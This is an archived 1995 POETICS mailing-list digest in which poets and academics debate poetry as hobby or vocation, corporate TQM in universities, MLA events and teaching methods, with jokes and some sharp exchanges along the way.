superior magistrates, the archons. On account of their publicly recognized authority, it is at their home that official documents are filed. The archons are first of all the documents' guardians. Their house marks an institutional passage from the private to the public. With such a status, the documents are only kept and classified under the title of the archive by virtue of a privileged topology: To shelter itself and sheltered, to conceal itself.

Perhaps, nothing in the entire prehistory of humans is more terrible and uncannier than their mnemotechnics. "You burn something in to keep it in mind: only those things which never cease to hurt will remain in memory" - it's an axiom of the most ancient (and, unfortunately, most persistent) psychology on earth. It always meant torture, blood and victims when humans considered it necessary to construct themselves a memory; the most horrible victims, the most unspeakable mutilations, the most gruesome rites in all religious cults - all that is rooted in an instinct which discovered pain as the most powerful tool of mnemonics.

"The spanking machine", she explained, "is a brandnew achievement of our time, or, to say it better, our culture. Once plugged to electricity, it will get in immediate motion. Of course, you have to adjust in advance the number, the efficacy and the kind of blows. Once a lesson is fixed, it will be taught under any circumstance: and that's the great advantage! Mercy is made technically impossible."

The cruelty of the alphabet has nothing to do with willful or "natural" violence. It is the dynamics of culture itself, a culture which materialized in the bodies it inscribes and manipulates. This culture is not an ideology, but violently introduces desire into production and production into desire. For death, punishment, suffering are desired. They turn humans or their organs into parts of the social machine. And if "writing" is inscription right into the flesh, it means indeed that speech presupposes writing and that it's this cruel system of inscribed signs which enables humans to use language and gives them a memory of words and speech.

MONTY CANTSIN

*****

end forwarded message

lbd

↑ Index

49. Joshua N Schuster
Re: sponse to Ron
Sun 3 Dec 1995

Ron Silliman wrote:
>
> At another level, I've found a form that enabled me to construct
> materials compiled in relatively short segments. Having children has
> cut back on my critical writing fairly significantly, although the
> absence of any really good venues for the kinds of pieces I do hasn't
> helped any (I have throughout my career often been prodded by specific
> assignments). There's no talk series in Philadelphia.

Not yet in Philadelphia. But the venue is in the work. Look for such an inclusive series at Upenn in fall '96, run by students with the valuable help of some friends.

-joshua

↑ Index

50. Kenneth Sherwood
EPCLIVE EVENT / Monday Night
Mon 4 Dec 1995

EPCLIVE will host its third online event this Monday night
from 6:30pm EST to 8:00pm. It's our first experiment at
an "OPEN FIELD" session, which we intend to be a collaborative
improvisation. Please feel free to join in; there's no
required reading to prepare for this seminar!

Specifics are available at http://writing.upenn.edu/epc/epclive or you can query me [redacted] or Loss Glazier ([redacted]) personally. Be sure to include a catchy subject line (like "I want my EPCLIVE" so we answer in time for the event.

As always, results of interest will be conveyed to the assembly.

Kenneth Sherwood | Dept English
[redacted] | 618 Clemens Hall
[redacted] | SUNY @ Buffalo
|_____Buffalo, NY 14214_____

RIF/T mail: [redacted]
Electronic Poetry Center (Web address):
gopher://writing.upenn.edu/hh/internet/library/e-journals/ub/rift

---

↑ Index

51. Kenneth Sherwood

Professional poetry

Mon 4 Dec 1995

I recall a friend (from Spain / France?) new to the U.S. and still reeling with idiomatic-lag remarking on how strange it seemed that Americans primary social icebreaker was "what do you do?" (which of course meant: What's your job? and Do you make more than I do? and Is it worth my time to play golf with you?)

I'm not quite comfortable thinking of poetry as a hobby any more than I'd want to deny the clear fact of the labor-for-money most of us are engaged in. But there does seem to be a 'lack' in the language and modes of living if the choices are so clear cut. k.s.

Kenneth Sherwood | Dept English
[redacted] | 618 Clemens Hall
[redacted] | SUNY @ Buffalo
|_____Buffalo, NY 14214_____

RIF/T mail: [redacted]
Electronic Poetry Center (Web address):
gopher://writing.upenn.edu/hh/internet/library/e-journals/ub/rift

---

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52. Jeff Hansen

Poetry and the academy

Mon 4 Dec 1995

I hope I'm not getting overly technical in my use of words, but here goes.

A lot of people have commented on my use of the word "hobby" to describe my writing interests as opposed to what I do to make a living. I consider "hobby" to be a more important and valued word than"profession." I know so few people who love their work; hobbies by definition are acts of love.

Obviously, my associations with the word "hobby" are idiosyncratic. I guess most people associate it with putzing. If you like, please substitue Chax's "passion" for my "hobby."

Take care,

jeff

↑ Index

53. David Kellogg
Re: Question
Mon 4 Dec 1995

On Sun, 3 Dec 1995, Chris Stroffolino wrote:

> *Months Lie Angularly*
> *Mention Lacan Approvingly*
> *Meatmarkets Love Artists*
> *Magnify Libido Abstinance*
> *but remember*
> *Malvolio Looks Absurd.....*
> *Mingle Like Alchemy!*

My friend Kevin Farley says it stands for

Many Lemmings Assemble

Cheers,
David
~~~
~~~

> *Golumbia's arrogant brat grad students. Of course, the most obvious statement to be made here is that the biggest "professional problem" we have is this kind of despicable pedagogy. I don't necessarily assume that this represents the poetics list in its entirety but my experience has shown that it does represent a pervading attitude about students (undergraduate and graduate alike) and the scholarship they produce.*

I probably deserved the "insufferable prig" for my "arrogant brat," so I will take the criticism at face value. But Ms. Dunn's comments make no sense to me unless she thinks I'm a professor, which I'm not. I was talking about my experience of grad school as a student -- the way so many of the students who "succeed" do so not by challenging themselves but by specifically doing what the profs want them to do. I'm not sure how that is a "priggish" criticism, or a "priggish" attitude toward students, nor how much of the passage Ms. Dunn quoted could be termed a "despicable pedagogy" or any pedagogy at all. I thought many of my peers got by on networking not interesting thinking. That seems pretty clear to me from my original message. How is the *recommendation* to do interesting, challenging, self-critical work "the biggest 'professional problem' we have"??

I agree that too few professors do that kind of work as well.

Also, the Villette example came from a posting of Marjorie Perloff's, so I guess it's her anxieties Ms. Dunn might want to analyze. I just thought it politic to keep to the same example other people had been using.
--
[redacted]
David Golumbia

↑ Index

55. Joe Amato
Re: Poetry and the Academy
Mon 4 Dec 1995

---

bill, 'fore i try to answer that question, lemme make one thing clear: i understand that most of the students i teach (esp. given that i'm currently teaching half-time in a prof. writing program) go on to work for corporate america, or entrepreneurial america in any case... that doesn't prevent me from having my students ask the same ideological-institutional questions i ask mself (about my institution)... i mean, i don't mount some sort of postindustrial-capitalist critique in my classroom w/o a corresponding critique of my own contested site-practice... this way *nobody* appears to enjoy a free lunch, and i'm not "saving souls" in the classroom... i think it's important to complicate the

institutional in general, not simply to decry how nasty a profession "engineering" or "accounting" is (albeit there may always be specific sorts of jobs in any profession that i will continue to have difficulty justifying, and mebbe even specific professions)...

anyway, one way to describe what i've heard motorola is looking for in the late nineties (it's been PUT this way at times in meetings on my campus, no shit) is to relate a little incident that occurred shortly after i came to iit (and note that one of the two most powerful folks on our board of trustees is bob galvin, son of the founder and former ceo of motorola)... since this is a bit off-the-wall, mebbe it'll do for an *initial* sense of what's going on at motorola vis-a-vis illinois institute of technology...

on a saturday back in fall of 92, the entire iit faculty was asked to attend a motorola training seminar out in the west chicago suburbs, at motorola corporate headquarters... this seminar was designed to inculcate us in motorola's corporate quality control program, which is known in shorthand as QCEL--- quality/creativity/ethics/ leadership (in conjunction with their '6-sigma' approach to standards---'sigma' as in standard of deviation)... QCEL is essentially motorola's reworking of TQM (total quality management)---and let's be certain to give credit where credit it due... motorola is by all accounts a highly successful corporation, this post coming to you courtesy (in part) of their 68030 chip... they have a reputation for providing free and frequent training for all their employees...

i might mention that, at iit, the only place writing per se is justified under the QCEL scheme is under L---leadership... i assume the underlying logic here is a matter of words/communication = power etc... however benign or malignant...

i only wish i had the talent to describe what it felt like to see internationally renowned scholar-scientists being instructed in the wonders of convergent-divergent thinking... quite a sight... and some made it absolutely clear precisely what they thought of such instruction---WHILE THERE...

QCEL fever struck iit shortly thereafter---forms, reports and the like, yknow, sop for bureaucrazies... rumor had it 'we' were indulging galvin in the hope that he would dig deep into his pockets and throw something like $10 mil our way... never happened (and in fact QCEL mutated into a million dollar "national commission" and, once our board refused to cough up the bread to offset our "losses," the present crisis management strategies we're currently experiencing)... in any case, the coup de grace of the QCEL affair was galvin having a copy of a book he wrote, _the idea of ideas_, distributed gratis to all faculty... it appeared in my mailbox with no warning whatever...

let's have a look at it...

title page (** = boldface):

THE *IDEA* OF IDEAS

BY ROBERT W. GALVIN

Motorola University Press [!]
Schaumburg, Illinois
1991

the *idea*, i know!... to give you some idea of the "quality" of the production etc., i read from the verso of the title page the following:

Special Limited Edition published in April 1991
by Motorola University Press

Typeset in Perpetua
by Paul Baker Typography, Inc., Evanston, Illinois.
Five thousand copies printed [our faculty numbered at that time around 300]
by Congress Printing Company, Chicago, Illinois.

Soft cover in Mohawk Artemis, Navy Blue; cloth cover
is Arrestox B, B48650. End sheets are French Speckletone,
Briquette; text stock is Mohawk Superfine, Soft White.
Binding by Zonne Book Binders, Inc., Chicago, Illinois.

Design by Hayward Black & Company, Evanston, Illinois.
Illustration on page 6 by Noli Novak.
Quotation on cover by Robert W. Galvin.

this latter quotation, indicative of the "quality" of the writing in general, follows:

"We can and should apply consciously, confidently, purposely and frequently, the simpler, satisfying, appropriate steps to create more and then better ideas."

you can understand why i keep this item, no?...

anyway, a more direct way to answer your question, w/o acquiescence to the various forms of lip-service (humanities) faculty here are subject to on a daily basis, would probably be to describe the large NOT around which educational 'training' as currently reconceived will be centered... but i'll let it go for now, i'm already going on way too long in this post... suffice to say that it has all to do with "satisfying" the student "customer," an educational marketplace in which desires and aspirations are increasingly influenced by successful corporations such as motorola... if you like, i'll babble on about the current situation wrt integrating a new engineering "interprofessional project" into the undergrad. curriculum, and how this will require a sacrifice of x-hours of humanities credit, to the extent that we in english-history-philosophy must now

try to figure out how what we do will 'fit into' a corporate-conceived undergrad. design project led by a graduate student recruited from local industry into our new master's in engineering program (NOT master of science, mind you) so as to offset the costs of a "mentor" blah blah blah... the gist of all of this is that there is less institutional space in which to conduct critical thinking activities (re process, context, etc.), and we're left presumably to dawdle over outdated conceptions of composition instruction (comma-splice detection) or old-style humanistic pursuits (book reports)... but i'm perhaps a bit cynical at this point, i know...

hope this helps, bill...

all best//

joe

↑ Index

56. Alan Golding

Sunday Morning Service Poems

Mon 4 Dec 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

For Charles Smith, and al que quiere:

Recent poems "appropriate for Sunday church services": Richard Wilbur's "Peter, " "Matthew VIII, 28ff," "A Christian Hymn," and "Proof."

Just had to get that little piece of perversity out of my system.

Alan

↑ Index

57. Alan Sondheim

Re: Question

Mon 4 Dec 1995

More Like A
Mutually-Licked-Asshole

↑ Index

58. Maria Damon

Re: POETICS Digest - 29 Nov 1995 to 30 Nov 1995

Mon 4 Dec 1995

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thank you susan dunn--md

↑ Index

59. **Judy Roitman**
Re: Sheila M., Ron S., Chas. A.
Mon 4 Dec 1995

I'm not Sheila or Ron or Chas. but

> *At another level, I've found a form that enabled me to construct materials compiled in relatively short segments....*

is certainly a useful strategy, and not only for time management.

↑ Index

60. **Judy Roitman**
Re: Poetry and the Academy
Mon 4 Dec 1995

TQM is taking over at a lot of places, not just Motorola-influenced IIT.

When Donna Shalala was pres. or whatever of U. of Wisconsin she was a devout TQM devotee; it's sweeping public schools (under the guise of "outcomes based/continuous improvement") and will no doubt be coming to a higher educational estalishment near you if it hasn't already arrived.

Like behaviorism, it is impossible to argue with -- "what's wrong with continuous improvement?" is one question you will be asked. Of course the problematic nature of the notion of "improvement" is just one many things that escapes the TQM devotees' attention, but (tautologically) they don't notice this, even when it's pointed out.

↑ Index

61. **Bill Luoma**
Y
Mon 4 Dec 1995

> *Yexplication is yexploration*

ylang ylang?

↑ Index

62. **Bill Luoma**
David Columbia
Mon 4 Dec 1995

DavidG,

From your post i assumed you were the chair of the english dept at Columbia, but should have known better from the com com at the end of your name. Sounds a little like my experience in grady scholl as ucsd. However, there were lots of cult studs folks (femmo-marxie-post toasters) who were good and provacative who didn't exactly kiss ass but lots of new historicist wieners who did. Any my hero John Granger, who was neither nor, has he got a job? The most brilliant poetry advocate and scholar i've ever come across. Someone ought to get him tenured.

Bill Luoma

↑ Index

63. Jordan Davis
Re: Sheila M., Ron S., Chas. A.
Mon 4 Dec 1995

At 1:25 PM 12/4/95, Judy Roitman wrote:
>I'm not Sheila or Ron or Chas. but
>
>>
>>At another level, I've found a form that enabled me to construct
>>materials compiled in relatively short segments....
>
>is certainly a useful strategy, and not only for time management.

I don't know. I've been compiling poems from notebook materials for a few years and I find it pretty draining. All these _things_ that don't always accumulate.. Of course it could just be a failure to sort. The throughcomposed poem appeals to me strongly now not because I don't have the time to write, but because it almost always seems less tentative and grand than the collaged poem (please read "my" for "the" in this sentence).

another poet walking a beat (and not a beat poet),
Jordan

↑ Index

64. Charles Alexander
Re: Poetry and the Academy
Mon 4 Dec 1995

> *TQM is taking over at a lot of places, not just Motorola-influenced IIT.*
>
> *When Donna Shalala was pres. or whatever of U. of Wisconsin she was a devout TQM devotee; it's sweeping public schools (under the guise of "outcomes based/continuous improvement") and will no doubt be coming to a*

> *higher educational estalishment near you if it hasn't already arrived.*
>
> *Like behaviorism, it is impossible to argue with -- "what's wrong with continuous improvement?" is one question you will be asked. Of course the problematic nature of the notion of "improvement" is just one many things that escapes the TQM devotees' attention, but (tautologically) they don't notice this, even when it's pointed out.*

Odd how these things move, as I actually think TQM is on its way out as the management strategy of choice in the American corporate world, replaced by more eclectic theories which supposedly aim to empower each individual to be a fairly independent entrepreneur within the corporation, as articulated by such as Tom Peters. But now TQM is taking over the academic world? beware . . .

↑ Index

65. Marisa Januzzi
Re: Sunday Morning Service Poems
Mon 4 Dec 1995

I'd like to add almost anything by Anne Porter to the list!

Regarding the "collaged" vs. "composed through" methods of doing poetry-- has anyone seen Michael Davidson's piece in Marjorie Perloff's collection, POST-MODERN GENRES? He discusses a piece by Oppen, setting it in the larger archival context of the notebooks, and argues (this is a hasty paraphrase) that some works might thoughtfully be considered 'Notebook Poems," i.e. a poem-including-a-notebook.

Depending on the leavings and composition habits of the writer, exploring the genesis of a text this way seems to be an interesting way of (among other things) situating the development of an aesthetic in suggestively contingent material or (gulp) biographical circumstances... I'm sure even "composed through" texts can be read this way, depending on the archival record... so Jordan, be sure you include all those cancelled rent checks and lists of books to steal in the adjacent leaves of yr notebooks...

--Marisa

(Mina Loy Appears?)

↑ Index

66. Marisa Januzzi
Re: Sunday Morning Service Poems
Mon 4 Dec 1995

On a different topic:

Has anyone on the list ever participated in or tried to administer a "service learning" class-- one which combines literary and theoretical readings with some concrete opportunity for students to pursue a volunteer project of some sort, implications of which could be integrated into the student's approach to the academic material (and vice versa)? All this talk about cultural studies and poetry, for instance, has been making me think there must be some way of integrating studying/theorizing it, with some practical experience of how various populations actually conceive of it...

I guess I am trying to come up with 'altruistic' projects (such as might be associated with a class called 'Literature and Hunger')-- more than say, working up a Hallmark internship... If you have to be a poet both on &off the page, how do you reflect meaningfully on what that means, or get students to do that, under auspices of a class? ----hmmm...

Marisa

↑ Index

67. **Tony Green**
Re: Poetry and the academy
Mon 4 Dec 1995

Anthologised Beatles (II) reminds me, Jeff Hansen, to do what you do with writing as "hobby", "all you need is love." By the way, anyone see the original hand-written Paul ms of" I want to (wanna) hold yr hand" in the British Library in a showcase among their Beatliana? The last chorus ends "I want to hold your thing." "Thing?" Hey, Paul! best of uncensored luck

Tony Green,
e-mail: [redacted]

↑ Index

68. **Tony Green**
Re: Poetry and the Academy
Mon 4 Dec 1995

---

no, no, Joe Amato, say MORE not less abt this v intrsting biz of Motorola & Ideas. I've printed out and circulated via department staff common room this a.m. this seems to me where the real action is now, where the corporate money meets the academy...

Tony Green,
e-mail: [redacted]

↑ Index

69. Pierre Joris
MLA EVENTS
Mon 4 Dec 1995

RE: MLA

We (Jerome Rothenberg & Pierre Joris) would like to invite all POETICS-listers & lurkers who happen to be in Chicago during MLA to 2 events:

1) The ACLA (American Comparative Literature Association)'s party, co-sponsored by the University of California Press, to celebrate POEMS FOR THE MILLENNIUM: THE UNIVERSITY OF CALIFORNIA BOOK OF MODERN & POSTMODERN POETRY (edited by yourstrulies). [This is not a cash bar as mistakenly announced in the MLA big brown mag.] It will take place on THURSDAY, DECEMBER 28, 5:15 TO 6:30 P.M. IN CHICAGO BALLROOM C OF THE MARRIOTT.

2) A session to mark the publication of POEMS FOR THE MILLENNIUM.A panel chaired by Eugene Eoyang and including Jerome Rothenberg, Pierre Joris & Nathaniel Mackey will discuss THE MAKING OF A GLOBAL ANTHOLOGY on Saturday, December 30, 12 noon to 1:15 p.m. in the Los Angeles-Miami room of the Marriott.

==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========

↑ Index

70. Charles Smith
Re: Sunday Morning Service Poems
Mon 4 Dec 1995

Gee thanks Alan... I'll try to keep that in mind!

↑ Index

71. jeffrey timmons
Re: Testimony: Dr. Owens Wiwa
Mon 4 Dec 1995

On Sat, 2 Dec 1995, Joe Amato wrote:

> *in any case, i'm not going there now, and feeling somehow guilty... but by way of protesting the shell-nigeria situation... and instead i'm ending up over at the local mobil... though of course i don't feel "good" about this either... which is precisely the sort of dilemma we've been conditioned into accepting, a perpetual choosing twixt relative evils...*

Ride a bike.

Jeffrey Timmons

↑ Index

72. jeffrey timmons
Re: Question
Mon 4 Dec 1995

MLA: Mutant Luddite Anomalies

↑ Index

73. jeffrey timmons
Re: Sunday Morning Service Poems
Mon 4 Dec 1995

---

how about stevens' "Sunday Moring"?

Jeffrey Timmons

On Mon, 4 Dec 1995, Alan Golding wrote:

> *Associate Professor of English, U. of Louisville*
> *Phone: [redacted]; e-mail: [redacted]*
>
> *For Charles Smith, and al que quiere:*
>
> *Recent poems "appropriate for Sunday church services": Richard Wilbur's "Peter, " "Matthew VIII, 28ff," "A Christian Hymn," and "Proof."*
>
> *Just had to get that little piece of perversity out of my system.*
>
> *Alan*

↑ Index

74. Aldon L. Nielsen
Re: Memo from Executive Secretary of the MLA
Tue 5 Dec 1995

We no longer stand for that. Please note and correct.

↑ Index

75. Herb Levy
Re: Poetry and the academy
Tue 5 Dec 1995

Mark Roberts wrote:

> *"I want to hold your thing."*
>
> *Paul was always lost for words -*
>
> *How about*
>
> *everything depends upon the little red thing*

"so much"

for quoting WCW.

But you're sure right about Paul one of the four worst Beatles of all time.

Herb Levy
[redacted]

↑ Index

76. Stephen Galen Cope
Re: Sunday Morning Service Poems
Tue 5 Dec 1995

Marisa Januzzi:

Has anyone on the list ever participated in or tried to administer a "service learning" class-- one which combines literary and theoretical readings with some concrete opportunity for students to pursue a volunteer project of some sort, implications of which could be integrated into the student's approach to the academic material (and vice versa)?

I'm not sure I'm entirely clear on what this would entail, but I'll attempt a response...

I'm currently teaching a course on "Sound and Language" -- essentially a course on the poetics of music and the music of poetics -- for which one of the requiremnets is a "presentation/per- formance," meaning that on a given day a

given student is basically given the stage and asked to either lead the class discussion, present a lecture, or give a performance in reference to a particular reading or set of readings. As the syllabus is quite broad -- poetry, poetics, music, performance studies, even some new histroicism -- students are encouraged to integrate a range of discourse(s) into their work. This means that as often as not we're getting lecture/ performance/ discussion in a single presentation.

This has been important because a large portion of the course is involved in both the close reading and cultural critique of the texts in question (Coolidge, Cage, Braxton, Mackey, Baraka). Central to the course is an insistence that all 'creative' work exist within a nexus of other works, artifacts, ideas, ideologies etc. This is basic concept to most, but certainly not one that's put into practice in most workshops at the undergraduate level. This means that the 'creative writing' students enrolled in the course are pressed to examine their own practice as cultural work -- to examine what it does at the cultural level and not merely at the mechanical level. At the same time, those students used to expository and discursive approaches to literature have been pressed to engage with the work -- to riff off the work -- in ways that are creative and productive rather than simply interpretive and exhaustive.

I've yet to receive any final papers (due next week), but the emphasis there is generally the same. One hopes for the best...

-Stephen Cope

↑ Index

77. Charles Smith

Pro's & hobbyists

Tue 5 Dec 1995

"That old religious term "vocation" serves nicely."

Just wanted to say yes! & ...thanks to Judy Roitman's take on alternatives to the writer as "pro" ... & whoever it was (Charles Alexander?) who mentioned passion over that horrible IRS term, "hobby."

best,
Charles Smith

↑ Index

78. James Perez
service classes?
Tue 5 Dec 1995

As an undergraduate I was in a class on the Contemporary Short Story that was taught as both a Creative Writing and Literature class. We had to respond to each weeks reading in a critical (short "essay") or creative way. It worked very well, in that the members of the class were forced in to different ways of thinking about text. For instance, there was a story we read (I forget the story) that ended with the writer turning and asking the reader a question, and we discussed the possibility of that ending being created by the writer having no other "plot" options at the time. Not normally something you would discuss in a "lit" class.

I think this kind of class works very well in opening new ways of thinking about texts and writing.

Remember in high school when you had to write new endings to stories you read? I think that can be a highly complex process and a good way to become intimate with a text (and a great way to get some of these writers off the pedastels they've been put on), so even if it is looked at as juvenile we should do it more. Renga is similar to this in a back and forth way, I guess.

↑ Index

79. Gabrielle Welford
Luce Irigaray, CPA (fwd)
Tue 5 Dec 1995

Gotta love this! Gab. (on my birthday too!)

>[Alleged] Wall Street Journal Reports IRS Desire to Tax Sex -- Even in Marriage
<...>
>Date: 28 Nov 1995 18:54:51 -0800
<...>
>"Sex" maybe Become IRS Target
>by the Staff of the Wall Street Journal
>
>Raising new questions about the tax status of conungal relations practiced by
>millions of citizens, the Internal Revenue Service said that the general
>policy that "sex" is freely given in the context of relationships subjects
>
>While the IRS didn't hold that sex itself is taxable, it did say that most
>conjugal relationships are based on de facto economic quid pro quos, and

>therefore trigger a tax liability celibate individuals wouldn't otherwise
>face. According to the "technical advice memorandum," which only applies to
>one couple who was being audited, which the IRS didn't identify, "Sex has
>historically been a commodity that was either sold or bartered or stolen. As
>such it has a demonstrable cash value, which can be quantified according to
>accepted market criteria. ... According to one tax
>commisioner, who preferred to remain anonymous, "Sex is seldom freely given
>with no strings attached by one party to the next. The monetary value of
>those "strings" comprises compensation which can be quantified and therefore
>taxable."
>
>It is unclear exactly how IRS would propose to tax sex. The decision raises
>many highly complicated administrative problems, tax specialists say. Among
>these: how to value the benefits ...

↑ Index

80. Dick Higgins
Re: MLA EVENTS
Tue 5 Dec 1995

> *RE: MLA*
>
> *We (Jerome Rothenberg & Pierre Joris) would like to invite all POETICS-listers & lurkers who happen to be in Chicago during MLA to 2 events:*
>
> *1) The ACLA (American Comparative Literature Association)'s party, co-sponsored by the University of California Press, to celebrate POEMS FOR THE MILLENNIUM: THE UNIVERSITY OF CALIFORNIA BOOK OF MODERN & POSTMODERN POETRY (edited by yourstrulies). [This is not a cash bar as mistakenly announced in the MLA big brown mag.] It will take place on THURSDAY, DECEMBER 28, 5:15 TO 6:30 P.M. IN CHICAGO BALLROOM C OF THE MARRIOTT.*
>
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>
> *==========*

> ==========
> *Pierre Joris | "Poems are sketches for existence."*
> *Dept. of English | --Paul Celan*
> *SUNY Albany |*
> *Albany NY 12222 | "Revisionist plots*
> *tel&fax:*[redacted] *| are everywhere and our pronouns haven't yet*
> *email: | drawn up plans for the first coup."*
> [redacted] *| --J.H. Prynne*
> ==========

Gosh, Pierre--sounds like you will actually try to deal with some poetry at the MLA. Oddly enough I still belong to the thing after all these years--the health insurance is a bargain. Having attgended at least six of them and done maybe five panels and other presentations, I can only say the MLA is usable only for job-hunters, potential employers and would-be trendies. I hope people attend your presentation., since anything innovative is a rarity there. If it were run like the CAA (College Art Association) it would be quite a different matter.

Somehow I wonder why there is so much shop and small talk on this network. Who has time for that? Can it be that the English Profs are not aware of the difference between talking about poetry and poetics? I see very little material on poetics on this network, but a great deal of professional boohooing. These laments about not having time to write poetry--anyone who vents such laments is quite incapable of writing worthwhile poetry. At the very least I would suggest that such a person reread the second intro to the Lyrical Ballads. Once when John Cage complained to Arnold Schoenberg that he was asking too much of him and his students, Schoenberg asked how many hours there are in a day. Cazge said, "Twenty four." "Nonsense," said Schoenberg. "There are as many hours in a day as you put there." I left academia because I couldn't get my work done (including scholarly work), and in spite of my poverty and instability, I have no regrets.

American poetry is, as you know, quite backwards, and it will continue to be so as long as literature programs are dominated by the Boohoo Brigade.

Sincerely

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

81. Dick Higgins
Re: Sunday Morning Service Poems
Tue 5 Dec 1995

> *Marisa Januzzi:*
>
> *Has anyone on the list ever participated in or tried to administer a "service learning" class-- one which combines literary and theoretical readings with some concrete opportunity for students to pursue a volunteer project of some sort, implications of which could be integrated into the student's approach to the academic material (and vice versa)?*
>
> *I'm not sure I'm entirely clear on what this would entail, but I'll attempt a response...*
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> *I'm currently teaching a course on "Sound and Language" -- essentially a course on the poetics of music and the music of poetics -- for which one of the requiremnets is a "presentation/performance," meaning that on a given day a given student is basically given the stage and asked to either lead the class discussion, present a lecture, or give a performance in reference to a particular reading or set of readings. As the syllabus is quite broad -- poetry, poetics, music, performance studies, even some new histroicism -- students are encouraged to integrate a range of discourse(s) into their work. This means that as often as not we're getting lecture/ performance/ discussion in a single presentation.*
>
> *This has been important because a large portion of the course is involved in both the close reading and cultural critique of the texts in question (Coolidge, Cage, Braxton, Mackey, Baraka). Central to the course is an insistence that all 'creative' work exist within a nexus of other works, artifacts, ideas, ideologies etc. This is basic concept to most, but certainly not one that's put into practice in most workshops at the undergraduate level. This means that the 'creative writing' students enrolled in the course are pressed to examine their own practice as cultural work -- to examine what it does at the cultural level and not merely at the mechanical level. At the same time, those students used to expository and discursive approaches to literature have been pressed to engage with the work -- to riff off the work -- in ways that are creative and productive rather than simply interpretive and exhaustive.*
>
> *I've yet to receive any final papers (due next week), but the emphasis there is generally the same. One hopes for the best...*
>
> *-Stephen Cope*

Studenbts students students--

This is supposed to be about poetics. Cut the shop talk baby and get down to business.

Sincerely

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

82. Dick Higgins
Re: Pro's & hobbyists
Tue 5 Dec 1995

> *"That old religious term "vocation" serves nicely."*
>
> *Just wanted to say yes! & ...thanks to Judy Roitman's take on alternatives to the writer as "pro" ... & whoever it was (Charles Alexander?) who mentioned passion over that horrible IRS term, "hobby."*
>
> *best,*
> *Charles Smith*

Hobby poetry? Hobby horse, perhaps Uncle Toby's hobby horse. A better word wouild be "amateur," something done for love instead of profit.

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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83. Dick Higgins
Re: service classes?
Tue 5 Dec 1995

> *As an undergraduate I was in a class on the Contemporary Short Story that was taught as both a Creative Writing and Literature class. We had to respond to each weeks reading in a critical (short "essay") or creative way. It worked very well, in that the members of the class were forced in to different ways*

> *of thinking about text. For instance, there was a story we read (I forget the story) that ended with the writer turning and asking the reader a question, and we discussed the possibility of that ending being created by the writer having no other "plot" options at the time. Not normally something you would discuss in a "lit" class.*
>
> *I think this kind of class works very well in opening new ways of thinking about texts and writing.*
>
> *Remember in high school when you had to write new endings to stories you read? I think that can be a highly complex process and a good way to become intimate with a text (and a great way to get some of these writers off the pedastels they've been put on), so even if it is looked at as juvenile we should do it more. Renga is similar to this in a back and forth way, I guess.*

Isn't this the old "Daily Thermes" approach, which Baker used sixty years ago? It was still a-going when I was at Yale in the fifties and is still used, as you say, on the high schoool level in some places. Indeed it is good. But it is a pedagogical question.

How you teach is a different question from how you do or what you or anyone else's work EXISTS. How does a poem exist once it has left you? Is it the same work when it is typeset in Caslon or handwritten? How does it exist in the memory? Who are you when you have done it? Those are the questions which should be addressed, not the moonings of students who would rather be somewhere else (who can blame them) whom you are charged with teachi8ng your skills in spite of themselves.

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

84. Mark Roberts
Re: Poetry and the academy
Tue 5 Dec 1995

"I want to hold your thing."

Paul was always lost for words -

How about

everything depends upon the little red thing

↑ Index

85. Michael Boughn
Re: Pro's and hobbyists
Tue 5 Dec 1995

Yea Dick Higgins.

Maybe the profs should start up their own list where they can trade teaching tricks and gripes about the MLA.

Mike
[redacted]

↑ Index

86. David Kellogg
Re: Y
Tue 5 Dec 1995

On Mon, 4 Dec 1995, Bill Luoma wrote:

> *Yexplication is yexploration*
>
> *ylang ylang?*

It's actually a bit of dialogue from Vikram Seth's massive but entertaining anachronism, A SUITABLE BOY.

Cheers,
David
~~~
~~~

dick, is just plain wrong in my view---i've been trying to get at the economics of teaching, which for many of "us," like it or no, is intertwined with our conception of ourselves as poets... there's simply got to be a place for broader cultural discussions of this sort, esp. when one considers the influence of various literary organizations on the MAKING of poetry (by which i mean publishing, marketing, distributing, etc.)...

the thread is not for all tastes, no... but i read your resistance in fact less as disinterest than as yet one more attempt to decontextualize a discussion of poetry/poetics, to wrench it free from the institutions which give it shape and urgency...

but that's just the way i see it...

best,

joe

↑ Index

88. **Chris Stroffolino**

Re: Pro's & hobbyists

Tue 5 Dec 1995

Hey Dick Higgins DID YOU SEE THAT MOVIE "AMATEUR" (Hal Hartley?)
And what's the difference between THE BOO HOO Brigade
and Harold Bloom's School of Resentment?
Or the MOVE (not the one that was bombed in BILLADELPHIA)'s song
"FIRE BRIGADE" (1967)?
And did you ever see the bus advertisement that says
"We PUT THE PEEK BACK IN BOO"
and what is the relationship to it and Siouxsie Sioux
and/or the divine tautology truck--Gauranteed Overnite Delivery?
Knock knock....

↑ Index

89. **Bill Luoma**

Quality

Tue 5 Dec 1995

Joe,

Thanks for the cultural study of motorola and iit. It's so difficult to find an interesting description of how writers and corporations interact. If you look in the business publishing section you find platitudes like the gavin quotation.

Pep rallies. If you look to critical theory you just find uncritical and nervous attacks on corporate culture.

I was surprised at the lack of (at least) lip service that motorola was "paying" to writing. You here a lot of platitudes these days about how upset business "leaders" are that their engineers and sales folks can't write, can't think, can't analyze , can't be creative, can't be independent, don't understand tom peters when he says an org chart should look like a jackson pollack painting.

The company i work for has had a strange relationship to writers. Had a lot when Alan Berheimer was VP of com com. But when RonRon moved to phili he said bubuy to me, have fun being the last literate person in the dept.

I'm in sales now and find a few more literate folk than in marketing (??!!). I have taught writing classes to my peers and there does seem to be some consciousness from mgmt that decent written communication (persuasion) can be translated in $$$. But there is definite lack of skill. Maybe this is why RonRon's new company is eating our lunch.

Bill Luoma

↑ Index

90. Judy Roitman

Re: Sheila M., Ron S., Chas. A.

Tue 5 Dec 1995

> *I don't know. I've been compiling poems from notebook materials for a few years and I find it pretty draining.*
